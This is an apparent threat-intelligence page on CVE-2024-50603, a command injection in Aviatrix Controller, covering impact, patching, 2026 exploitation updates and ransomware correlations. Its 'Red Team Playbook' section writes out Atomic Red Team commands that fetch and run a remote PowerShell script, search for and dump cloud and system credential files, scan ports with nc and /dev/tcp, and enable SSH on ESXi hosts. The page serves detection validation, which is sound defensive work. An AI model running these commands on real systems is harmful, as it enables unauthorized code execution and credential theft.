CVE-2024-50603

CRITICAL CISA KEV POC TTE Zero-Day Pub 08/01 Upd 21/10

Overview

This vulnerability is a command injection flaw in the Aviatrix Controller's API handling. It arises from improper sanitization of shell metacharacters in user-supplied input parameters "cloud_type" and "src_cloud_type" within specific API endpoints. The affected components are the REST API endpoints responsible for flightpath destination instance listing and connection testing in Aviatrix Controller versions prior to 7.1.4191 and 7.2.x before 7.2.4996.

Vulnerability Description

An issue was discovered in Aviatrix Controller before 7.1.4191 and 7.2.x before 7.2.4996. Due to the improper neutralization of special elements used in an OS command, an unauthenticated attacker is able to execute arbitrary code. Shell metacharacters can be sent to /v1/api in cloud_type for list_flightpath_destination_instances, or src_cloud_type for flightpath_connection_test.

Impact

An unauthenticated attacker can execute arbitrary OS commands on the Aviatrix Controller server, leading to full system compromise. This includes the ability to read sensitive files, modify configurations, or deploy persistent malware. Exploitation requires only network access to the API endpoint and no user interaction or credentials. The resulting control over the system can facilitate data breaches, disruption of network management, and lateral movement within the affected environment.

Solution

Apply the security updates provided by Aviatrix Controller version 7.1.4191 or later, or 7.2.4996 or later, as detailed in the Aviatrix PSIRT advisory available at https://docs.aviatrix.com/documentation/latest/release-notices/psirt-advisories/psirt-advisories.html#remote-code-execution-vulnerability-in-aviatrix-controllers. Follow the vendor’s patching instructions to upgrade affected instances. No alternative workarounds are documented in the advisory.

EPSS vs KEV Prediction — Evolution (30 days)

Full Analysis

A critical vulnerability has been identified in the Aviatrix Controller, specifically affecting versions prior to 7.1.4191 and 7.2.x before 7.2.4996. This security flaw arises from improper handling of special characters in operating system commands, allowing an unauthenticated attacker to execute arbitrary code. The vulnerability is particularly concerning as it can be exploited through API endpoints, such as /v1/api, where parameters like cloud_type and src_cloud_type are processed without adequate sanitization. This oversight in input validation creates a pathway for attackers to inject shell metacharacters, leading to potential command execution on the underlying system.

The attack vectors for this vulnerability are straightforward yet alarming. By crafting a malicious request to the affected API endpoints, an attacker can manipulate the input parameters to include shell metacharacters. This could lead to the execution of arbitrary commands on the server hosting the Aviatrix Controller. The exploitation process does not require authentication, significantly lowering the barrier for potential attackers. Scenarios could range from a simple command execution to more complex attacks that could compromise the entire system, allowing attackers to gain unauthorized access, exfiltrate sensitive data, or disrupt services.

The real-world implications of this vulnerability are severe, particularly for organizations that rely on the Aviatrix Controller for managing their cloud networking. Given the high CVSS score of 9.8, the risk associated with this flaw is categorized as critical. An attacker successfully exploiting this vulnerability could lead to significant business disruptions, data breaches, and financial losses. The potential for unauthorized access to cloud resources could also result in compliance violations, especially for organizations in regulated industries. The fallout from such an incident could damage an organization’s reputation and erode customer trust, compounding the financial impact.

To detect and mitigate the risks associated with this vulnerability, organizations should implement a multi-faceted approach. First, immediate patching of the Aviatrix Controller to the latest versions is essential to close the vulnerability. Regular vulnerability assessments and penetration testing should be conducted to identify any potential weaknesses in the system. Additionally, organizations should employ web application firewalls (WAFs) to filter and monitor HTTP requests, blocking any attempts to exploit the API endpoints. Implementing strict input validation and sanitization measures on all API inputs can further reduce the risk of command injection attacks. Monitoring logs for unusual activity and employing intrusion detection systems (IDS) can also help in identifying and responding to potential exploitation attempts.

In conclusion, the vulnerability in the Aviatrix Controller represents a significant threat to organizations utilizing this product for cloud networking. The ease of exploitation, combined with the potential for severe consequences, underscores the necessity for immediate action. By prioritizing patch management, enhancing input validation, and employing robust monitoring strategies, organizations can effectively mitigate the risks associated with this critical vulnerability and protect their cloud infrastructure from malicious actors.




Recent updates to CVE-2024-50603 include an official elevation of its CVSS score to the maximum 10.0, reflecting a refined understanding of its exploitability and impact severity. This adjustment underscores the vulnerability’s critical nature, confirming that unauthenticated attackers can execute arbitrary code with high reliability and minimal prerequisites. Additionally, CSURFACE threat intelligence has identified a new ransomware group linked to this vulnerability, expanding the known adversary landscape to five distinct actors. While no confirmed ransomware campaigns have yet been attributed, the broadened association signals increasing interest from financially motivated threat actors. Concurrently, new proof-of-concept exploits have emerged publicly, enhancing the accessibility of attack methods for less sophisticated actors and potentially accelerating exploitation attempts. Our telemetry indicates a stable but persistent exploitation trend, suggesting that threat actors continue to probe and leverage this vulnerability in targeted operations. Collectively, these developments elevate the threat level, emphasizing the urgency for defenders to maintain heightened vigilance. The convergence of a perfect CVSS score, expanding ransomware group interest, and publicly available exploit code significantly increases the risk profile, making CVE-2024-50603 a top priority in cloud infrastructure security monitoring.



Update 2 — June 08, 2026

CSURFACE threat intelligence has identified a marked escalation in exploitation activity targeting CVE-2024-50603, accompanied by the emergence of new proof-of-concept exploits on public repositories. Although the CVSS score was slightly adjusted downward to 9.8, this refinement reflects a more precise risk calibration rather than a diminished threat. Our telemetry indicates that adversaries are increasingly leveraging unauthenticated command injection vectors within Aviatrix Controller environments, intensifying the potential for widespread compromise. The stable EPSS score, combined with the absence of rapid upward trends, suggests persistent but controlled exploitation momentum rather than explosive growth. Notably, while ransomware groups previously linked to this vulnerability remain unconfirmed in active campaigns, their continued monitoring is warranted given the vulnerability’s criticality and ease of exploitation. This evolving landscape underscores a sustained high-risk posture, reinforcing the imperative for defenders to prioritize detection and response capabilities against this vulnerability.



Update 3 — June 16, 2026

CSURFACE threat intelligence has identified a discernible uptick in exploitation attempts targeting CVE-2024-50603, reflected by a moderate increase in detection activity across our sensors. This trend aligns with a rising EPSS score, indicating growing attacker interest and a slight expansion in the vulnerability’s exploitation footprint. Concurrently, new proof-of-concept exploits have surfaced publicly, potentially lowering the barrier for adversaries to operationalize attacks. Although ransomware groups previously linked to this vulnerability have not yet demonstrated confirmed active campaigns, their continued presence in related threat actor clusters sustains a latent risk of future ransomware deployment leveraging this flaw. The evolving exploitation landscape underscores an elevated threat posture that demands heightened vigilance. While the increase does not yet signify an explosive surge, the persistence and gradual intensification of activity elevate the urgency for defenders to maintain robust detection and response measures. Overall, the risk level for CVE-2024-50603 has shifted from stable to moderately heightened, reflecting the compound effect of increased exploitation attempts and broader availability of attack tools.



Update 4 — July 06, 2026

CSURFACE threat intelligence has detected a slight increase in exploitation attempts targeting CVE-2024-50603, accompanied by the emergence of additional publicly available proof-of-concept exploits. While the overall exploitation trend remains stable, this subtle uptick signals sustained attacker interest and ongoing reconnaissance efforts. The presence of multiple proof-of-concept tools lowers the barrier for adversaries to weaponize this vulnerability, potentially accelerating exploitation timelines. Although there is no current evidence linking this vulnerability to active ransomware campaigns, the association of known ransomware groups with related attack vectors continues to warrant close monitoring. This development modestly elevates the threat level from moderately heightened to a cautiously increased risk, emphasizing the need for defenders to maintain vigilant detection capabilities and proactive threat hunting to identify early indicators of compromise.

Affected Products (2)

Vendor Product Version CPE
aviatrix Aviatrix Controller All cpe:2.3:a:aviatrix:controller:*:*:*:*:*:*:*:*
aviatrix Aviatrix Controller All cpe:2.3:a:aviatrix:controller:*:*:*:*:*:*:*:*
Warning: The exploits and proof-of-concept (PoC) code listed below are sourced from third-party public repositories. CSURFACE assumes no responsibility for the content, accuracy, or safety of these resources. Use at your own risk. Learn more

GitHub PoCs (2)

Repository Author Stars Forks Date Link
th3gokul/CVE-2024-50603
CVE-2024-50603: Aviatrix Controller Unauthenticated Command Injection
th3gokul 17 5 2025-01-12 View
newlinesec/CVE-2024-50603
CVE-2024-50603-nuclei-poc
newlinesec 7 2 2025-01-08 View
Exploited in Wild CONFIRMED
Ransomware IN USE
Attacker Interest MEDIUM
Sightings Few sightings

Ransomware Groups 5

akira
CORRELATED
1529 victims
Chain Inference
2026-04-05
ransomhub
CORRELATED
842 victims
Chain Inference
2026-04-05
sinobi
CORRELATED
274 victims
Chain Inference
2026-04-05
frag
CORRELATED
30 victims
Chain Inference
2026-05-15
0apt
CORRELATED
Chain Inference
2026-04-05

Threat Feed

16 events
2026-07-10
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-07-09
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-06-30
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-06-27
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-06-23
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-06-19
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-06-08
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-06-06
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-05-27
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-05-15
Exploited by frag

Ransomware group known to exploit this vulnerability (30 known victims)

2026-04-05
Exploited by akira

Ransomware group known to exploit this vulnerability. Tools: Advanced IP Scanner, Advanced Port Scanner, AnyDesk, Bloodhound, Cloudflared (1529 known victims)

2026-04-05
Exploited by ransomhub

Ransomware group known to exploit this vulnerability. Tools: Acronis Disk Director, Angry IP Scanner, AnyDesk, Atera, BITSAdmin (842 known victims)

2026-04-05
Exploited by sinobi

Ransomware group known to exploit this vulnerability (274 known victims)

2026-04-05
Exploited by 0apt

Ransomware group known to exploit this vulnerability

2025-01-16
Added to CISA KEV Catalog

CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog

2025-01-08
PoC Published (2 GitHub repositories)

Proof-of-concept code is publicly available for this vulnerability

Likely Kill Chain

Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.

Applicable Out of scope
Initial Access
TA0001
Execution
TA0002
Persistence
TA0003
Priv. Escalation
TA0004
Defense Evasion
TA0005
Credential Access
TA0006
Lateral Movement
TA0008
Collection
TA0009
Impact
TA0040

Kill chain derived from the ML classifier.

Attack Vectors ML

OS Command Injection
100% command_injection
Remote Code Execution
74% rce
Code Injection
59% code_injection

MITRE ATT&CK Techniques (6)

The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.

ID Name Stage Tactics Platforms Link
T1190 Exploit Public-Facing Application Initial Access initial-access Containers, ESXi, IaaS, Linux, macOS, Network Devices, Windows
T1059 Command and Scripting Interpreter Kill Chain execution ESXi, IaaS, Identity Provider, Linux, macOS, Network Devices, Office Suite, Windows
T1542.001 System Firmware Kill Chain persistence, defense-evasion Windows, Network Devices
T1552.001 Credentials In Files Kill Chain credential-access Containers, IaaS, Linux, macOS, Windows
T1046 Network Service Discovery Kill Chain discovery Containers, IaaS, Linux, macOS, Network Devices, Windows
T1021.004 SSH Kill Chain lateral-movement ESXi, Linux, macOS

CAPEC Attack Patterns ML

ID Name ML Conf. Likelihood Severity Link
CAPEC-88 OS Command Injection
55%
High High
CAPEC-6 Argument Injection
48%
High High
CAPEC-43 Exploiting Multiple Input Interpretation Layers
48%
Medium High

Red Team Playbook

33 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.

T1021.004 ESXi - Enable SSH via PowerCLI Windows PowerShell Privileged
An adversary enables the SSH service on a ESXi host to maintain persistent access to the host and to carryout subsequent operations.
Command (PowerShell)
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false 
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
T1021.004 ESXi - Enable SSH via VIM-CMD Windows CMD
An adversary enables SSH on an ESXi host to maintain persistence and creeate another command execution interface. [Reference](https://lolesxi-project.github.io/LOLESXi/lolesxi/Binaries/vim-cmd/#enable%20service)
Command (CMD)
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
T1046 Network Service Discovery for Containers containers Shell
Attackers may try to obtain a list of services that are operating on remote hosts and local network infrastructure devices, in order to identify potential vulnerabilities that can be exploited through remote software attacks. They typically use tools to conduct port and...
Command (Shell)
docker build -t t1046 $PathToAtomicsFolder/T1046/src/
docker run --name t1046_container --rm -d -t t1046
docker exec t1046_container /scan.sh
T1046 Port Scan Linux, macOS Bash
Scan ports to check for listening ports. Upon successful execution, sh will perform a network connection against a single host (192.168.1.1) and determine what ports are open in the range of 1-65535. Results will be via stdout.
Command (Bash)
for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done
T1046 Port Scan NMap for Windows Windows PowerShell Privileged
Scan ports to check for listening ports for the local host 127.0.0.1
Command (PowerShell)
nmap #{host_to_scan}
T1046 Port Scan Nmap Linux, macOS Shell Privileged
Scan ports to check for listening ports with Nmap. Upon successful execution, sh will utilize nmap, telnet, and nc to contact a single or range of addresses on port 80 to determine if listening. Results will be via stdout.
Command (Shell)
sudo nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port}
T1046 Port Scan using nmap (Port range) Linux, macOS Shell Privileged
Scan multiple ports to check for listening ports with nmap
Command (Shell)
nmap -Pn -sV -p #{port_range} #{host}
T1046 Port Scan using python Windows PowerShell
Scan ports to check for listening ports with python
Command (PowerShell)
python "#{filename}" -i #{host_ip}
T1046 Port-Scanning /24 Subnet with PowerShell Windows PowerShell
Scanning common ports in a /24 subnet. If no IP address for the target subnet is specified the test tries to determine the attacking machine's "primary" IPv4 address first and then scans that address with a /24 netmask. The connection attempts to use a timeout parameter in...
Command (PowerShell)
$ipAddr = "#{ip_address}"
if ($ipAddr -like "*,*") {
    $ip_list = $ipAddr -split ","
    $ip_list = $ip_list.ForEach({ $_.Trim() })
    Write-Host "[i] IP Address List: $ip_list"

    $ports = #{port_list}

    foreach ($ip in $ip_list) {
        foreach ($port in $ports) {
            Write-Host "[i] Establishing connection to: $ip : $port"
            try {
                $tcp = New-Object Net.Sockets.TcpClient
                $tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
            } catch {}
            if ($tcp.Connected) {
                $tcp.Close()
                Write-Host "Port $port is open on $ip"
            }
        }
    }
} elseif ($ipAddr -notlike "*,*") {
    if ($ipAddr -eq "") {
        # Assumes the "primary" interface is shown at the top
        $interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1
        Write-Host "[i] Using Interface $interface"
        $ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress
    }
    Write-Host "[i] Base IP-Address for Subnet: $ipAddr"
    $subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)
    # Always assumes /24 subnet
    Write-Host "[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'"

    $ports = #{port_list}
    $subnetIPs = 1..254 | ForEach-Object { "$subnetSubstring$_" }

    foreach ($ip in $subnetIPs) {
        foreach ($port in $ports) {
            try {
                $tcp = New-Object Net.Sockets.TcpClient
                $tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
            } catch {}
            if ($tcp.Connected) {
                $tcp.Close()
                Write-Host "Port $port is open on $ip"
            }
        }
    }
} else {
    Write-Host "[Error] Invalid Inputs"
    exit 1
}
T1046 Remote Desktop Services Discovery via PowerShell Windows PowerShell Privileged
Availability of remote desktop services can be checked using get- cmdlet of PowerShell
Command (PowerShell)
Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"
T1046 WinPwn - MS17-10 Windows PowerShell
Search for MS17-10 vulnerable Windows Servers in the domain using powerSQL function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
MS17-10 -noninteractive -consoleoutput
T1046 WinPwn - bluekeep Windows PowerShell
Search for bluekeep vulnerable Windows Systems in the domain using bluekeep function of WinPwn. Can take many minutes to complete (~600 seconds in testing on a small domain).
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
bluekeep -noninteractive -consoleoutput
T1046 WinPwn - fruit Windows PowerShell
Search for potentially vulnerable web apps (low hanging fruits) using fruit function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
fruit -noninteractive -consoleoutput
T1046 WinPwn - spoolvulnscan Windows PowerShell
Start MS-RPRN RPC Service Scan using spoolvulnscan function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
spoolvulnscan -noninteractive -consoleoutput
T1059 AutoIt Script Execution Windows PowerShell
An adversary may attempt to execute suspicious or malicious script using AutoIt software instead of regular terminal like powershell or cmd. Calculator will popup when the script is executed successfully.
Command (PowerShell)
Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}"
T1542.001 UEFI Persistence via Wpbbin.exe File Creation Windows PowerShell Privileged
Creates Wpbbin.exe in %systemroot%. This technique can be used for UEFI-based pre-OS boot persistence mechanisms. - https://grzegorztworek.medium.com/using-uefi-to-inject-executable-files-into-bitlocker-protected-drives-8ff4ca59c94c -...
Command (PowerShell)
echo "Creating %systemroot%\wpbbin.exe"      
New-Item -ItemType File -Path "$env:SystemRoot\System32\wpbbin.exe"
T1552.001 Access unattend.xml Windows CMD Privileged
Attempts to access unattend.xml, where credentials are commonly stored, within the Panther directory where installation logs are stored. If these files exist, their contents will be displayed. They are used to store credentials/answers during the unattended windows install process.
Command (CMD)
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
T1552.001 Extract Browser and System credentials with LaZagne macOS Bash Privileged
[LaZagne Source](https://github.com/AlessandroZ/LaZagne)
Command (Bash)
python2 laZagne.py all
T1552.001 Extract passwords with grep Linux, macOS Shell
Extracting credentials from files
Command (Shell)
grep -ri password #{file_path}
exit 0
T1552.001 Extracting passwords with findstr Windows PowerShell
Extracting Credentials from Files. Upon execution, the contents of files that contain the word "password" will be displayed.
Command (PowerShell)
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
T1552.001 Find AWS credentials Linux, macOS Shell
Find local AWS credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
T1552.001 Find Azure credentials Linux, macOS Shell
Find local Azure credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
T1552.001 Find GCP credentials Linux, macOS Shell
Find local Google Cloud Platform credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
T1552.001 Find OCI credentials Linux, macOS Shell
Find local Oracle cloud credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
T1552.001 Find and Access Github Credentials Linux, macOS Bash
This test looks for .netrc files (which stores github credentials in clear text )and dumps its contents if found.
Command (Bash)
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
T1552.001 List Credential Files via Command Prompt Windows CMD Privileged
Via Command Prompt,list files where credentials are stored in Windows Credential Manager
Command (CMD)
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
T1552.001 List Credential Files via PowerShell Windows PowerShell Privileged
Via PowerShell,list files where credentials are stored in Windows Credential Manager
Command (PowerShell)
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
T1552.001 WinPwn - Loot local Credentials - AWS, Microsoft Azure, and Google Compute credentials Windows PowerShell
Loot local Credentials - AWS, Microsoft Azure, and Google Compute credentials technique via function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive  
T1552.001 WinPwn - SessionGopher Windows PowerShell
Launches SessionGopher on this system via WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
T1552.001 WinPwn - Snaffler Windows PowerShell
Check Domain Network-Shares for cleartext passwords using Snaffler function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
T1552.001 WinPwn - passhunt Windows PowerShell
Search for Passwords on this system using passhunt via WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
T1552.001 WinPwn - powershellsensitive Windows PowerShell
Check Powershell event logs for credentials or other sensitive information via winpwn powershellsensitive function.
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
T1552.001 WinPwn - sensitivefiles Windows PowerShell
Search for sensitive files on this local system using the SensitiveFiles function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput

Detection & Response Rules

No detection or response rules found for this CVE.

No news articles found for this CVE.

References (5)

Title Tags URL
nvd.nist.gov
NVD reference
https://nvd.nist.gov/vuln/detail/CVE-2024-50603
docs.aviatrix.com
GitHub CVE
https://docs.aviatrix.com/documentation/latest/network-security/index.html
docs.aviatrix.com
GitHub CVE
https://docs.aviatrix.com/documentation/latest/release-notices/psirt-advisories/psirt-advisories.html?expand=true#remote-code-execution-vulnerability-in-aviatrix-controllers
securing.pl
GitHub CVE
https://www.securing.pl/en/cve-2024-50603-aviatrix-network-controller-command-injection-vulnerability/
cisa.gov
NVD API US Government Resource
https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2024-50603